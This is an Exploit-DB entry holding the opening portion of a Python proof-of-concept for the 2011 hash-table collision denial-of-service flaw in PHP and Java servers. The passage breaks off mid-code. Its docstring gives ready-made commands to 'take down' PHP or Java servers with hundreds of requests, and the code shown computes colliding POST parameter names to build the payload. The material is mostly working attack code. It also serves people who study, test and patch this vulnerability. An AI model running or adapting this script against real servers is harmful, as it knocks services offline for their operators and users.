Exploit-DB #18305
Description: PHP Hash Table Collision - Denial of Service (PoC)
Type: dos
Platform: php
Date: 2012-01-03
Author: Christian Mehlmauer

Exploit:
#!/usr/bin/env python

"""
This script was written by Christian Mehlmauer <FireFart@gmail.com>
https://twitter.com/#!/_FireFart_

Sourcecode online at:
https://github.com/FireFart/HashCollision-DOS-POC

Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision

http://www.ocert.org/advisories/ocert-2011-003.html
CVE:
Apache Geronimo: CVE-2011-5034
Oracle Glassfish: CVE-2011-5035
PHP: CVE-2011-4885
Apache Tomcat: CVE-2011-4858

requires Python 2.7

Examples:
-) Make a single Request, wait for the response and save the response to output0.html
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP

-) Take down a PHP server(make 500 requests without waiting for a response):
python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP

-) Take down a JAVA server(make 500 requests without waiting for a response, maximum POST data size 2MB):
python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2

Changelog:
v6.0: Added Javapayloadgenerator
v5.0: Define max payload size as parameter
v4.0: Get PHP Collision Chars on the fly
v3.0: Load Payload from file
v2.0: Added Support for https, switched to HTTP 1.1
v1.0: Initial Release
"""

import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl
import random
import itertools

class Payloadgenerator:
    # Maximum recursions when searching for collisionchars
    _recursivemax = 15
    _recursivecounter = 1
    
    def __init__(self, verbose, collisionchars = 5, collisioncharlength = 2, payloadlength = 8):
        self._verbose = verbose
        self._collisionchars = collisionchars
        self._collisioncharlength = collisioncharlength
        self._payloadlength = payloadlength
    
    def generateASPPayload(self):
        raise Exception("ASP Payload not implemented")
    
    def generateJAVAPayload(self):
        a = self._computeJAVACollisionChars(self._collisionchars)
        return self._generatePayload(a, self._payloadlength)
    
    def generatePHPPayload(self):
        # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
        # compute entries with collisions in PHP hashtable hash function
        a = self._computePHPCollisionChars(self._collisionchars)
        return self._generatePayload(a, self._payloadlength);
    
    def _computePHPCollisionChars(self, count):
        charrange = range(0, 256)
        return self._computeCollisionChars(self._DJBX33A, count, charrange)
    
    def _computeJAVACollisionChars(self, count):
        charrange = range(0, 129)
        return self._computeCollisionChars(self._DJBX31A, count, charrange)
    
    def _computeCollisionChars(self, function, count, charrange):
        hashes = {}
        counter = 0
        length = self._collisioncharlength
        a = ""
        for i in charrange:
            a = a+chr(i)
        source = list(itertools.product(a, repeat=length))
        basestr = ''.join(random.choice(source))
        basehash = function(basestr)
        hashes[str(counter)] = basestr
        counter = counter + 1
        for item in source:
            tempstr = ''.join(item)
            if tempstr == basestr:
                continue
            if function(tempstr) == basehash:
                hashes[str(counter)] = tempstr
                counter = counter + 1
            if counter >= count:
                break;
        if counter < count:
            # Try it again
            if self._recursivecounter > self._recursivemax:
                print("Not enought values found. Please start this script again")
                sys.exit(1)
            print("%d: Not enough values found. Trying it again..." % self._recursivecounter)
            self._recursivecounter = self._recursivecounter + 1
            hashes = self._computeCollisionChars(function, count, charrange)
        else:
            if self._verbose:
                print("Found values:")
                for item in hashes:
                    tempstr = hashes[item]
                    print("\tValue: %s\tHash: %s" % (tempstr, function(tempstr)))
                    for i in tempstr:
                        print("\t\tValue: %s\tCharcode: %d" % (i, ord(i)))
        return hashes
    
    def _DJBXA(self, inputstring, base, start):
        counter = len(inputstring) - 1
        result = start
        for item in inputstring:
            result = result + (math.pow(base, counter) * ord(item))
            counter = counter - 1
        return int(round(result))
    
    #PHP
    def _DJBX33A(self, inputstring):
        return self._DJBXA(inputstring, 33, 5381)
    
    #Java
    def _DJBX31A(self, inputstring):
        return self._DJBXA(inputstring, 31, 0)
    
    #ASP
    def _DJBX33X(self, inputstring):
        counter = len(inputstring) - 1
        result = 5381
        for item in inputstring:
            result = result + (int(round(math.pow(33, counter))) ^ ord(item))
            counter = counter - 1
        return int(round(result))
    
    def _generatePayload(self, collisionchars, payloadlength):
        # Taken from:
        # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
    
        # how long should the payload be
        length = payloadlength
        size = len(collisionchars)
        post = ""
        maxvaluefloat = math.pow(size,length)
        maxvalueint = int(math.floor(maxvaluefloat))
        for i in range (maxvalueint):
            inputstring = self._base_convert(i, size)
            result = inputstring.rjust(length, "0")
            for item in collisionchars:
                result = result.replace(str(item), collisionchars[item])
            post += urllib.urlencode({result:""}) + "&"
    
        return post;
    
    def _bas